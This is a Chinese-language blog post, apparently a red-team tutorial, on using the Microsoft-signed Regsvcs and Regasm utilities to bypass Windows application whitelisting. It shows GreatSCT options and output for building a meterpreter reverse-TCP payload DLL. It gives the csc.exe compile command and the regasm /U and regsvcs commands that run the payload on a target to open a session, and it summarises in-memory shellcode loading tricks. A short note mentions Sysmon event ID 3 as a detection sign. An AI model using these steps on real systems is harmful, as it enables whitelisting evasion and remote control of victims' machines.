在windows上执行恶意代码 by Regsvcs & Regasm

Regsvcs & Regasm

Regsvcs和Regasm是Windows命令行实用程序,用于注册.NET组件对象模型(COM)程序集。两者都是由Microsoft进行数字签名的。
攻击者可以使用Regsvcs和Regasm代理通过受信任的Windows实用程序执行代码。两个实用程序可用于通过使用二进制内的属性来绕过进程白名单,以指定应在注册或取消注册之前运行的代码:[ComRegisterFunction]或[ComUnregisterFunction]分别。即使进程在权限不足的情况下运行并且无法执行,也将执行具有注册和取消注册属性的代码。

regasm

目前只知道.netframework 4.0的利用方式——GreatSct框架。
仔细看下配置项,看来也有反调试措施。

Payload: regasm/meterpreter/rev_tcp selected

Required Options:

Name                Value       Description
----                -----       -----------
COMPILE_TO_DLL      Y           Compile to a DLL
DEBUGGER            X           Optional: Check if debugger is attached
DOMAIN              X           Optional: Required internal domain
EXPIRE_PAYLOAD      X           Optional: Payloads expire after "Y" days
HOSTNAME            X           Optional: Required system hostname
INJECT_METHOD       Heap        Virtual or Heap
LHOST                           IP of the Metasploit handler
LPORT               4444        Port of the Metasploit handler
PROCESSORS          X           Optional: Minimum number of processors
SLEEP               X           Optional: Sleep "Y" seconds, check if accelerated
TIMEZONE            X           Optional: Check to validate not in UTC
USERNAME            X           Optional: The required user account

然后执行generate

 [*] Language: regasm
 [*] Payload Module: regasm/meterpreter/rev_tcp
 [*] DLL written to: /usr/share/greatsct-output/compiled/payload1.dll
 [*] Source code written to: /usr/share/greatsct-output/source/payload1.cs
 [*] Execute with: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload1.dll
 [*] Metasploit RC file written to: /usr/share/greatsct-output/handlers/payload1.rc

msfconsoleshow advanced是个好习惯,可以看到更多的配置项。

可以选择手动编译源文件
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library payload.cs
目标机上加载生成好的payload.dll即可创建会话

C:\Users\Administrator>C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U C:\payload1.dll
Microsoft (R) .NET Framework Assembly Registration Utility 4.0.30319.1
Copyright (C) Microsoft Corporation 1998-2004.  All rights reserved.

僵在这里不动了

sysmon日志
regasm.exe会发起反弹连接,触发事件ID 3

regsvcs

唯一的要求是组装的文件需要使用强名称进行签名。 Microsoft已经发布了名为Sn.exe(Strong Name Tool)的实用程序,它是Visual Studio和.NET框架工具的一部分,可用于生成一对公钥和私钥。

可以跟上面一样手动编译源文件(并不需要sn生成的key)
GreatSct会帮你编译好dll文件,直接在目标机上执行即可获得会话。

C:\Users\Administrator>C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
 c:\payload2.dll
Microsoft (R) .NET Framework Services Installation Utility Version 4.0.30319.1
Copyright (c) Microsoft Corporation.  All rights reserved.

也是僵在这边

sysmon日志
regasm.exe也会发起反弹连接,触发事件ID 3

自我小结

  1. 利用编程语言c#可以在内存加载shellcode,在目标主机上用net框架的csc.exe来编译成dll或者pe,借助白名单exe调用执行。
  2. 本机直接生成dll或者pe,借助白名单exe调用执行。
  3. 加载远程或本地sct文件或者inf文件,里面用js(或vb)生成wscript.shell对象并执行命令。而这些命令可以是1、2点
  4. 目前能直接内存落地shellcode只有powershell。

你可能感兴趣的:(在windows上执行恶意代码 by Regsvcs & Regasm)